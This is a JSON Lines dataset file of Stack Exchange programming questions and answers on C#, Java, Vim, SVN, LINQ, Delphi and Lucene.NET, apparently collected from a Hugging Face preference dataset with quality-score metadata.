{"id": "hf_b111054258b4", "question": "<p>I have a class that stores a serialized value and a type. I want to have a property/method returning the value already casted:</p>\n\n<pre><code>public String Value { get; set; }\n\npublic Type TheType { get; set; }\n\npublic typeof(TheType) CastedValue { get { return Convert.ChangeType(Value, typeof(_Type)); }\n</code></pre>\n\n<p>Is this possible in C#?</p>\n", "question_body": "", "answer": "It's possible if the class containing the property is generic, and you declare the property using the generic parameter:\n```\n```\nclass Foo<TValue> {\n    public string Value { get; set; }\n    public TValue TypedValue {\n        get {\n            return (TValue)Convert.ChangeType(Value, typeof(TValue));\n        }\n    }\n}\n```\n```\nAn alternative would be to use a generic method instead:\n```\n```\nclass Foo {\n    public string Value { get; set; }\n    public Type TheType { get; set; }\n\n    public T CastValue<T>() {\n         return (T)Convert.ChangeType(Value, typeof(T));\n    }\n}\n```\n```\nYou can also use the\n```\nSystem.ComponentModel.TypeConverter\n```\nclasses to convert, since they allow a class to define it's own converter.\nEdit\n: note that when calling the generic method, you must specify the generic type parameter, since the compiler has no way to infer it:\n```\n```\nFoo foo = new Foo();\nfoo.Value = \"100\";\nfoo.Type = typeof(int);\n\nint c = foo.CastValue<int>();\n```\n```\nYou have to know the type at compile time.  If you don't know the type at compile time then you must be storing it in an\n```\nobject\n```\n, in which case you can add the following property to the\n```\nFoo\n```\nclass:\n```\n```\npublic object ConvertedValue {\n    get {\n        return Convert.ChangeType(Value, Type);\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:33.695757"}
{"id": "hf_191b9b9d5f7e", "question": "<p><code>:vimgrep</code> looks like a really useful thing.</p>\n\n<p>Here's how to use it:</p>\n\n<pre><code>:vim[grep][!] /{pattern}/[g][j] {file} ... \n</code></pre>\n\n<p><code>:help</code> says that you can essentially glob <code>{file}</code> to name, say, <code>*.c</code> for the current directory. I may have started Vim with a list of files that is complicated enough that I don't want to manually type it in for <code>{file}</code>, and besides Vim already knows what those files are.</p>\n\n<p>What I would like to do is vimgrep over any of:</p>\n\n<ul>\n<li><code>:args</code></li>\n<li><code>:files</code></li>\n<li><code>:buffers</code></li>\n</ul>\n\n<p>What variable(s) would I use in place of <code>{file}</code> to name, respectively, any of those lists in a <code>vimgrep</code> command?</p>\n", "question_body": "", "answer": "You can do this:\n```\n```\n:bufdo vimgrep /pattern/ %\n```\n```\n% substitutes the buffer name.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:33.730984"}
{"id": "hf_46dc191e7d34", "question": "<p>One of the files in my current head revision got corrupted. I want to make an older revision of that file the head revision as usually people sync to head revsion in my project. How to do that?</p>\n", "question_body": "", "answer": "You should revert all changes since that old reversion. In principle,\n```\n```\nsvn merge -rHEAD:oldrev filename\nsvn commit -m \"rolled back to oldrev\"\n```\n```\nshould do. The later revisions are still there, but reverted.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:33.772464"}
{"id": "hf_3589e123ddf9", "question": "<ul>\n<li>What are the pros and cons of LINQ (Language-Integrated Query)?</li>\n<li>What are the best and worst cases in which to use LINQ?</li>\n<li>How have you benefitted or not benefitted from using LINQ?</li>\n<li>Which data sources benefit the least and the most from LINQ?</li>\n</ul>\n", "question_body": "", "answer": "I'm a massive fan of LINQ - although it needs to be kept in perspective, and not treated as a silver bullet.\nPros:\nDeclarative approach makes queries easier to understand and more compact\nExtensibility and expression trees allow mostly consistent querying of multiple sources\nEven in-process queries can be implemented in ways other than LINQ to Objects - e.g. Parallel LINQ and my own Push LINQ framework. Very flexible.\nFabulously\nuseful for in-process queries, where it's easiest to understand\nGreat to be able to avoid SQL in strings etc\nWide range of operators provided by default, and others can easily be added for LINQ to Objects\nLanguage features introduced primarily for LINQ are widely applicable elsewhere (yay for lambdas)\nCons:\nQuery expressions aren't understood well enough, and are overused. Often simple method invocation is shorter and simpler.\nInevitable inconsistencies between provider - impedance mismatch is still present, which is reasonable but needs to be understood\nThere will always be some things you can do in SQL but not in LINQ\nWithout understanding what's going on, it's easy to write very inefficient code\nIt's hard to write a LINQ provider. This may well be inevitable, but more guidance from Microsoft would be appreciated.\nIt's a new way of thinking about data access for most developers, and will need time for understanding to percolate\nNot specifically LINQ but related to it - the way extension methods are discovered in C# isn't granular enough\nSome operators are \"missing\", particularly the equivalents of\n```\nOrderBy\n```\nfor things other than ordering - e.g. finding the item with the maximum value of a property\nDeferred execution and streaming are poorly understood (but improving)\nDebugging can be very tricky due to deferred execution and streaming\nIn some specific cases, LINQ can be significantly slower than manual code. The better you understand the internal workings, the better you'll be able to predict this. (And of course, if performance is important to you, you should have appropriate tests around it.)\nI find it's best when dealing with in-process queries. They're easy to predict, understand  and extend. Complementary technologies like LINQ to XML and Parallel LINQ are great. LINQ to Objects can be used almost anywhere.\nLINQ to SQL etc are really nice where they're appropriate, but they're harder to understand and need more expertise. They're also only applicable in certain areas of your code.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:33.797001"}
{"id": "hf_e55edc434b00", "question": "<p>I am having a .cs file, i need to execute that file.. \nI don't have experience in C#.. Please help.. Do we have to install any software to run it.. </p>\n\n<p>Currently i am using windows XP.. </p>\n\n<p>Please help me... </p>\n", "question_body": "", "answer": "Grab the\n.NET SDK\n(perhaps not needed, see comments) and see if you can compile your .cs file with\nCSC.exe\nAlternatively try Visual\nStudio Express Edition\nBut if you don't have ANY experience with software engineering, this might not be the best way to start...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:33.871618"}
{"id": "hf_c4342df5a16c", "question": "<p>I met an interesting issue about C#. I have code like below.</p>\n\n<pre><code>List&lt;Func&lt;int&gt;&gt; actions = new List&lt;Func&lt;int&gt;&gt;();\n\nint variable = 0;\nwhile (variable &lt; 5)\n{\n    actions.Add(() =&gt; variable * 2);\n    ++ variable;\n}\n\nforeach (var act in actions)\n{\n    Console.WriteLine(act.Invoke());\n}\n</code></pre>\n\n<p>I expect it to output 0, 2, 4, 6, 8. However, it actually outputs five 10s.</p>\n\n<p>It seems that it is due to all actions referring to one captured variable. As a result, when they get invoked, they all have same output.</p>\n\n<p>Is there a way to work round this limit to have each action instance have its own captured variable?</p>\n", "question_body": "", "answer": "Yes - take a copy of the variable inside the loop:\n```\n```\nwhile (variable < 5)\n{\n    int copy = variable;\n    actions.Add(() => copy * 2);\n    ++ variable;\n}\n```\n```\nYou can think of it as if the C# compiler creates a \"new\" local variable every time it hits the variable declaration. In fact it'll create appropriate new closure objects, and it gets complicated (in terms of implementation) if you refer to variables in multiple scopes, but it works :)\nNote that a more common occurrence of this problem is using\n```\nfor\n```\nor\n```\nforeach\n```\n:\n```\n```\nfor (int i=0; i < 10; i++) // Just one variable\nforeach (string x in foo) // And again, despite how it reads out loud\n```\n```\nSee section 7.14.4.2 of the C# 3.0 spec for more details of this, and my\narticle on closures\nhas more examples too.\nNote that as of the C# 5 compiler and beyond (even when specifying an earlier version of C#), the behavior of\n```\nforeach\n```\nchanged so you no longer need to make local copy. See\nthis answer\nfor more details.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:33.896712"}
{"id": "hf_1274223ad780", "question": "<p>whats the best way to export a Datagrid to excel? I have no experience whatsoever in exporting datagrid to excel, so i want to know how you guys export datagrid to excel.\ni read that there are a lot of ways, but i am thinking to just make a simple export excel to datagrid function.i am using asp.net C#</p>\n\n<p>cheers.. </p>\n", "question_body": "", "answer": "The simplest way is to simply write either csv, or html (in particular, a\n```\n<table><tr><td>...</td></tr>...</table>\n```\n) to the output, and simply pretend that it is in excel format via the content-type header. Excel will happily load either; csv is simpler...\nHere's a similar example (it actually takes an IEnumerable, but it would be similar from any source (such as a\n```\nDataTable\n```\n, looping over the rows).\n```\n```\npublic static void WriteCsv(string[] headers, IEnumerable<string[]> data, string filename)\n        {\n            if (data == null) throw new ArgumentNullException(\"data\");\n            if (string.IsNullOrEmpty(filename)) filename = \"export.csv\";\n\n            HttpResponse resp = System.Web.HttpContext.Current.Response;\n            resp.Clear();\n            // remove this line if you don't want to prompt the user to save the file\n            resp.AddHeader(\"Content-Disposition\", \"attachment;filename=\" + filename);\n            // if not saving, try: \"application/ms-excel\"\n            resp.ContentType = \"text/csv\";\n            string csv = GetCsv(headers, data);\n            byte[] buffer = resp.ContentEncoding.GetBytes(csv);\n            resp.AddHeader(\"Content-Length\", buffer.Length.ToString());\n            resp.BinaryWrite(buffer);\n            resp.End();\n        }\n        static void WriteRow(string[] row, StringBuilder destination)\n        {\n            if (row == null) return;\n            int fields = row.Length;\n            for (int i = 0; i < fields; i++)\n            {\n                string field = row[i];\n                if (i > 0)\n                {\n                    destination.Append(',');\n                }\n                if (string.IsNullOrEmpty(field)) continue; // empty field\n\n                bool quote = false;\n                if (field.Contains(\"\\\"\"))\n                {\n                    // if contains quotes, then needs quoting and escaping\n                    quote = true;\n                    field = field.Replace(\"\\\"\", \"\\\"\\\"\");\n                }\n                else\n                {\n                    // commas, line-breaks, and leading-trailing space also require quoting\n                    if (field.Contains(\",\") || field.Contains(\"\\n\") || field.Contains(\"\\r\")\n                        || field.StartsWith(\" \") || field.EndsWith(\" \"))\n                    {\n                        quote = true;\n                    }\n                }\n                if (quote)\n                {\n                    destination.Append('\\\"');\n                    destination.Append(field);\n                    destination.Append('\\\"');\n                }\n                else\n                {\n                    destination.Append(field);\n                }\n\n            }\n            destination.AppendLine();\n        }\n        static string GetCsv(string[] headers, IEnumerable<string[]> data)\n        {\n            StringBuilder sb = new StringBuilder();\n            if (data == null) throw new ArgumentNullException(\"data\");\n            WriteRow(headers, sb);\n            foreach (string[] row in data)\n            {\n                WriteRow(row, sb);\n\n            }\n            return sb.ToString();\n        }\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:33.956256"}
{"id": "hf_3cbde2678d9b", "question": "<p>I've been tasked to write our department's C# Programming Standard (including guidelines).  What sort of standards/guidelines should I include?  I've already taken bits from various standards around the net (and pieces from Code Complete), but I'd like hear from developers in the field.</p>\n\n<p>I've already got:\nNaming Conventions - General/Variables/Classes/Methods/Interfaces/Controls</p>\n\n<p>General Programming Practices - Documentation (comments etc), [WIP]</p>\n\n<p>OO Programming Practices - Encapsulation, [WIP]</p>\n\n<p>What else would be useful?  What shouldn't I include?</p>\n", "question_body": "", "answer": "Have you already suggested that everyone reads the \"\nDesign Guidelines for Class Library Developers\n\"? That covers the bulk of it. Other than that, I'd want to hammer home:\nYou should very rarely be creating your own structs. Don't think of them as lightweight classes.\nStructs should never be mutable.\nFields should always be private, apart from readonly fields where the type of the field is immutable\nOnly attempt lock-free programming if you're sure that a simpler solution will be too slow - and have evidence!\nReadability is king\nBe aware of cultural issues - in particular, read Microsoft's\nString Handling Recommendations\nI'll add more as I think of them...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:33.991585"}
{"id": "hf_27a39d203bfa", "question": "<p>I am refering to the <a href=\"https://stackoverflow.com/questions/252893/how-do-you-change-the-classpath-within-java#252905\">question</a> on changing the classpath programmatically.</p>\n\n<p>I read and found out that there is some function under <strong>System</strong> class as getproperties where we can retrieve the properties and then also can set it using setProperties().</p>\n\n<p>The answers however I got was that It Wont work. I have not tried this myself, however, i am taking the call.</p>\n\n<p>Just to clarify, then why these  setProperty() and getProperty() methods are there if they cannot alter it at run time. Or is this specific to the classpath property only ?</p>\n\n<p>I will appreciate if someone can present a scenario where they are really helpful?</p>\n", "question_body": "", "answer": "System.setProperty can be used to set some security or protocol handler at the beginning of a program. Like:\n```\n```\n/*\nAdd the URL handler to the handler property. This informs \nIBMJSSE what URL handler to use to handle the safkeyring \nsupport. In this case IBMJCE.\n*/\nSystem.setProperty(\"java.protocol.handler.pkgs\", \"com.ibm.crypto.provider\");\n```\n```\nor for\nusing SSL\n:\n```\n```\nSystem.setProperty(\"javax.net.ssl.keyStore\", context.getRealPath(KEYSTORE));\nSystem.setProperty(\"javax.net.ssl.keyStorePassword\", \"password\");\nSystem.setProperty(\"javax.net.ssl.trustStore\", context.getRealPath(TRUSTSTORE));\nSystem.setProperty(\"javax.net.debug\", \"ssl\");\nHttpClient httpClient = new HttpClient();\nGetMethod httpGet = new GetMethod(\"https://something.com\");\nhttpClient.executeMethod(httpGet);\nreturn new String(httpGet.getResponseBody());\n```\n```\nBut beware, because it\nchanges the environment at runtime for\nALL\napplications running in the same jvm\n.\nIf for example one application needs to run with saxon and the other with xalan and both make use of System.setProperty to set the transformerFactory, then you will run into trouble\nAs said in\nMonitored System.setProperty\narticle,\nSystem.setProperty() can be an evil call.\nIt is 100% thread-hostile\nIt contains super-global variables\nIt is extremely difficult to debug when these variables mysteriously change at runtime\nRegarding the classpath property, as\nI said in a previous question\n, it can not be easily changed as runtime.\nIn particular, java System property java.class.path is used to build a linked link when the JRE is instantiated, then\nis not re-read\n. Therefore, changes you make to the property don't really do anything to the existing virtual machine.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:34.027080"}
{"id": "hf_07b16201a592", "question": "<p>Does anyone know any good and free .NET Windows Controls Library</p>\n", "question_body": "", "answer": "Mono\nWinForms\nlags behind Microsoft, but includes many of the familiar controls. If you are ready to try something different, Mono has other\nGui ToolKits\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:34.051472"}
{"id": "hf_5c71a5b4576a", "question": "<p>The default GWT StackPanel is not enough good, i want to have functionality similar to outlook stack panel. May be there is already something exists?</p>\n", "question_body": "", "answer": "If you don't mind using EXT-GWT, a much prettier fully compliant GWT UI toolkit then this might be more what your looking for.\nThe Example\n.\nGXT as it is also called can do lots of good things for a GUI.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:34.079566"}
{"id": "hf_695b52eae9a6", "question": "<p>I could do this in C#..</p>\n\n<pre><code>int number = 2;\nstring str = \"Hello \" + number + \" world\";\n</code></pre>\n\n<p>..and str ends up as \"Hello 2 world\".</p>\n\n<p>In VB.NET i could do this..</p>\n\n<pre><code>Dim number As Integer = 2\nDim str As String = \"Hello \" + number + \" world\"\n</code></pre>\n\n<p>..but I get an InvalidCastException \"Conversion from string \"Hello \" to type 'Double' is not valid.\"</p>\n\n<p>I am aware that I should use .ToString() in both cases, but whats going on here with the code as it is?</p>\n", "question_body": "", "answer": "In VB I believe the string concatenation operator is & rather than + so try this:\n```\n```\nDim number As Integer = 2\nDim str As String = \"Hello \" & number & \" world\"\n```\n```\nBasically when VB sees + I suspect it tries do numeric addition or use the addition operator defined in a type (or no doubt other more complicated things, based on options...) Note that\n```\nSystem.String\n```\ndoesn't define an addition operator - it's all hidden in the compiler by calls to\n```\nString.Concat\n```\n. (This allows much more efficient concatenation of multiple strings.)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:34.115575"}
{"id": "hf_7774de06f724", "question": "<p>Sometimes when I am debugging code in Eclipse it happens that although I can see and inspect class member variables without any difficulty I am unable to inspect the values of variables declared locally within functions. As an aside, any parameters to the current function lose their 'real' names and instead one sees their values listed in the Variables window as arg0, arg1, arg2, etc but at least the values are visible.</p>\n\n<p>This is occurring at present in relation to classes defined within the core JDK. I have verified that the installed and current JRE is a JDK.</p>\n\n<p>Is anybody able to shed some light on this behaviour?</p>\n", "question_body": "", "answer": "Apparently, the\nanswer\nis:\nthe rt.jar that ships with the JDK (where the core Java classes live) is not compiled with full debug information included in the .class files, so the debugger does not have local variable info.\nUnfortunately, this is not something that Eclipse can do anything about - all debuggers will have the same problem with JDK core classes.\nThe\nrelease notes of Eclipse 3.4\nstates:\nMissing debug attributes\nThe debugger requires that class files be compiled with debug attributes if it is to be able to display line numbers and local variables. Quite often, class libraries (for example, \"rt.jar\") are compiled without complete debug attributes, and thus local variables and method arguments for those classes are not visible in the debugger.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:34.139345"}
{"id": "hf_1c630efc2be5", "question": "<p>In c#, is there any difference in the excecution speed for the order in which you state the condition?</p>\n\n<pre><code>if (null != variable) ...\nif (variable != null) ...\n</code></pre>\n\n<p>Since recently, I saw the first one quite often, and it caught my attention since I was used to the second one.</p>\n\n<p>If there is no difference, what is the advantage of the first one?</p>\n", "question_body": "", "answer": "I guess this is a C programmer that has switched languages.\nIn C, you can write the following:\n```\n```\nint i = 0;\nif (i = 1)\n{\n    ...\n}\n```\n```\nNotice the use of a single equal sign there, which means the code will assign 1 to the variable i, then return 1 (an assignment is an expression), and use 1 in the if-statement, which will be handled as true. In other words, the above is a bug.\nIn C# however, this is not possible. There is indeed no difference between the two.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:34.210900"}
{"id": "hf_0c62985c4fa1", "question": "<p>Using <a href=\"http://search.cpan.org/dist/DBIx-Class/\" rel=\"nofollow noreferrer\">DBIx::Class</a> and I have a resultset which needs to be filtered by data which cannot be generated by SQL.  What I need to do is something effectively equivalent to this hypothetical example:</p>\n\n<pre><code>my $resultset     = $schema-&gt;resultset('Service')-&gt;search(\\%search);\nmy $new_resultset = $resultset-&gt;filter( sub {\n    my $web_service = shift;\n    return $web_service-&gt;is_available;\n} );\n</code></pre>\n\n<p>Reading through the docs gives me no clue how to accomplish a strategy like this.</p>\n", "question_body": "", "answer": "You can’t really, due to the goals for which DBIC result sets are designed:\nThey compile down to SQL and run a single query, which they do no earlier than when you ask for results.\nThey are composable.\nAllowing filtering by code that runs on the Perl side would make it extremely hairy to achieve those properties, and would hide the fact that such result sets actually run N queries when composed.\nWhy do you want this, anyway? Why is simply retrieving the results and filtering them yourself insufficient?\nEncapsulation\n? (Eg. hiding the filtering logic in your business logic layer but kicking off the query in the display logic layer.) Then write a custom ResultSet subclass that has an accessor that runs the query and does the desired filtering.\nOverhead\n? (Eg. you will reject most results so you don’t want the overhead of creating objects for them.) Then use HashRefInflator.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:34.245456"}
{"id": "hf_450702e6c932", "question": "<p>Is there a way to pass null arguments to C# methods (something like null arguments in c++)?</p>\n\n<p>For example:</p>\n\n<p>Is it possible to translate the following c++ function to C# method:</p>\n\n<pre><code>private void Example(int* arg1, int* arg2)\n{\n    if(arg1 == null)\n    {\n        //do something\n    }\n    if(arg2 == null)\n    {\n        //do something else\n    }\n}\n</code></pre>\n", "question_body": "", "answer": "From C# 2.0:\n```\n```\nprivate void Example(int? arg1, int? arg2)\n{\n    if(arg1 == null)\n    {\n        //do something\n    }\n    if(arg2 == null)\n    {\n        //do something else\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:34.292188"}
{"id": "hf_baaff4479beb", "question": "<p>I need to get all the dates present in the date range using SQL Server 2005</p>\n", "question_body": "", "answer": "If you have the dates in a table and simply want to select those between two dates you can use\n```\n```\nselect * from yourTable where yourDate between date1 and date2\n```\n```\nIf you want to produce the dates from nothing you could do it with a loop or you could populate a temporary table with dates and then select from that.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:34.316579"}
{"id": "hf_e78313a99410", "question": "<p>How do I save a Tlistviews layout in Delphi 2007?</p>\n\n<p>I have been asked to write some code to allow users to re-order columns in a TListview (well all TListviews in our application), I have the code working (by manipulating the columns index and setting width to zero to hide columns not needed) but now I need a way to save the state of the view when to form exits.</p>\n\n<p>What is the best way to do this? I thought about serialization, but I dont need the data or sort order so that seamed a bit overkill to me.</p>\n\n<p>Some things to ponder\n     It needs to be on a per user basis\n     It needs to be flexible, in-case we add a new column in the middle of the listview\n     There is no garantee that the Column headding will be unique \n     The listview name may not be unique across the application</p>\n\n<p>Any ideas?</p>\n", "question_body": "", "answer": "If you only want to save and load a certain part of the data you can store it n an ini or xml file. \nGeneral data can be written to the file. Columns is another problem. You need to find an unique identification for each column. The ini could be something like:\n```\n```\n[Settings]\n\n[Col_1]\nposition=1\nwidth=500\ntitle=hello world\nalign=left\nsort=ascending\n\n.. etc for more fields and more columns.\n```\n```\nIf you uses a listview helper class, you only need to write the code once:\n```\n```\nTListviewHelper = class helper for TListView;\npublic\n  procedure SaveToFile(const AFilename: string);\n  procedure LoadFromFile(const AFileName: string);\nend;\n\nprocedure TListviewHelper.SaveToFile(const AFilename: string);\nvar\n  ini : TIniFile;\nbegin\n  ini := TIniFile.Create(AFileName);\n  try\n    // Save to ini file\n  finally\n    ini.Free;\n  end;\nend;\n\nprocedure TListviewHelper.LoadFromFile(const AFileName: string);\nvar\n  ini : TIniFile;\nbegin\n  ini := TIniFile.Create(AFileName);\n  try\n    // Load from ini file\n  finally\n    ini.Free;\n  end;\nend;\n```\n```\nIf TListviewHelper is within scope, you have access to the extra methods.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:34.354101"}
{"id": "hf_b07356d4cbdc", "question": "<p>We have a couple of applications running on Java 5 and would like now to bring in an application based on Java 6. Can both java versions live together under Windows? </p>\n\n<p>Is there any control panel to set the appropriate Java version for different applications, or any other way to set up, what version of Java will be used to run that particular application?</p>\n", "question_body": "", "answer": "Of course you can use multiple versions of Java under Windows. And different applications can use different Java versions. How is your application started? Usually you will have a batch file where there is something like\n```\n```\njava ...\n```\n```\nThis will search the Java executable using the PATH variable. So if Java 5 is first on the PATH, you will have problems running a Java 6 application. You should then modify the batch file to use a certain Java version e.g. by defining a environment variable\n```\nJAVA6HOME\n```\nwith the value\n```\nC:\\java\\java6\n```\n(if Java 6 is installed in this directory) and change the batch file calling\n```\n```\n%JAVA6HOME%\\bin\\java ...\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:34.379110"}
{"id": "hf_7fbf0b9c0696", "question": "<p>My requirement is I have server J2EE web application and client J2EE web application. Sometimes client can go offline. When client comes online he should be able to synchronize changes to and fro. Also I should be able to control which rows/tables need to be synchronized based on some filters/rules. Is there any existing Java frameworks for doing it? If I need to implement on my own, what are the different strategies that you can suggest?</p>\n\n<p>One solution in my mind is maintaining sql logs and executing same statements at other side during synchronization. Do you see any problems with this strategy?</p>\n", "question_body": "", "answer": "The biggist issue with synchronization is when the user edits something offline, and it is edited online at the same time. You need to merge the two changed pieces of data, or deal with the UI to allow the user to say which version is correct.  If you eliminate the possibility of both being edited at the same time, then you don't have to solve this sticky problem.\nThe method is usually to add a field 'modified' to all tables, and compare the client's modified field for a given record in a given row, against the server's modified date.  If they don't match, then you replace the server's data.\nBe careful with autogenerated keys - you need to make sure your data integrity is maintained when you copy from the client to the server.  Strictly running the SQL statements again on the server could put you in a situation where the autogenerated key has changed, and suddenly your foreign keys are pointing to different records than you intended.\nOften when importing data from another source, you keep track of the primary key from the foreign source as well as your own personal primary key. This makes determining the changes and differences between the data sets easier for difficult synchronization situations.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:34.404204"}
{"id": "hf_5a1ca011566a", "question": "<p>I have the following file/line:</p>\n\n<pre><code>pc=1 ct=1 av=112 cv=1100 cp=1700 rec=2 p=10001 g=0 a=0 sz=5 cr=200\npc=1 ct=1 av=113 cv=1110 cp=1800 rec=2 p=10001 g=0 a=10 sz=5 cr=200\n</code></pre>\n\n<p>and so on. \nI wish to parse this and take the key value pairs and put them in a structure:</p>\n\n<pre><code>struct pky\n{\n    pky() :\n      a_id(0),\n      sz_id(0),\n      cr_id(0),\n      cp_id(0),\n      cv_id(0),\n      ct_id(0),\n      fr(0),\n      g('U'),\n      a(0),\n      pc(0),\n      p_id(0)\n    { }\n};\n</code></pre>\n\n<p>wherein either all the structure fields are used or some might be omitted.</p>\n\n<p>How do I create a C++ class, which will do the same? I am new to C++ and not aware of any functions or library which would do this work.</p>\n\n<p>Each line is to be processed, and the structure will be populated with one line each time and used, before it is flushed. The structure is later used as a parameter to a function.</p>\n", "question_body": "", "answer": "Unfortunately, your source data file is human-oriented, which means that you're going to have to do a bunch of string parsing in order to get it into the structure.  Otherwise, if the data had been written directly as a binary file, you could just use fread() to pop it directly into the struct.\nIf you want to use an \"elegant\" (ie, ugly minimalistic approach), you could make a loop of sorts to parse each line, basically using strchr() to first find the '=' character, then the next space, then using atoi() to convert each number into a real int, and then using some pointer hackery to push them all into the structure.  The obvious disadvantage there is that if the structure changes, or is even reorganized somehow, then the whole algorithm here would silently break.\nSo, for something that would be more maintainable and readable (but result in more code), you could just push each value into a vector, and then go through the vector and copy each value into the appropriate strucutre field.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:34.429495"}
{"id": "hf_e6484c2f5fb8", "question": "<p>I have a problem with Lucene.NET. During an index, I receive the error 'Access to the path segments is denied'. Or sometimes 'Access to the path deletable is denied'. I eventually gave 'Everyone' full security rights to the index directory, but the problem still existed.</p>\n\n<p>I then found out that during the index run, lucene renames the segments file to 'segments.new', and <em>then</em> this error happens. I guess some process still tries to read from the old segments file after it has been renamed? I have no clue as to why this happens, or how to fix this. Strangely enough, my co-developers can run the index on their computer without a problem.</p>\n\n<p>The error happens at happens in Lucene.Net.Index.IndexModifier.AddDocument(Document).</p>\n\n<p>Any ideas would be much appreciated.</p>\n", "question_body": "", "answer": "I suspect that your IndexModifier is in contention with a Searcher.\nHere's how I use Lucene.Net in my\nbug tracking\napp,\nBugTracker.NET\n, which seems to be working ok.\nI create the index at app startup.\nI create a searcher and keep it around so that the index isn't reloaded with each search. All threads share the same searcher. When the searcher searches, it grabs a lock, searches, then releases the lock, so that another thread can search.  Forces the searches into single file is doable in my app because Lucene.NET is quick and a bug tracking system isn't THAT busy.\nMeanwhile, I have an IndexWriter that updates the index when there is a data change. It is just changing a little bit so it does its task quick too.   When it needs to run, it grabs the same lock, destroys the searcher, updates the index, and the re-recreates the searcher.  The new searcher stays around until the next update of the index. The searcher always is working with an up-to-date index.\nYou can get the BugTracker.NET source and look at the files my_lucene.cs and search_text.aspx. It's all in those two files, and there isn't that much code.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:34.502290"}
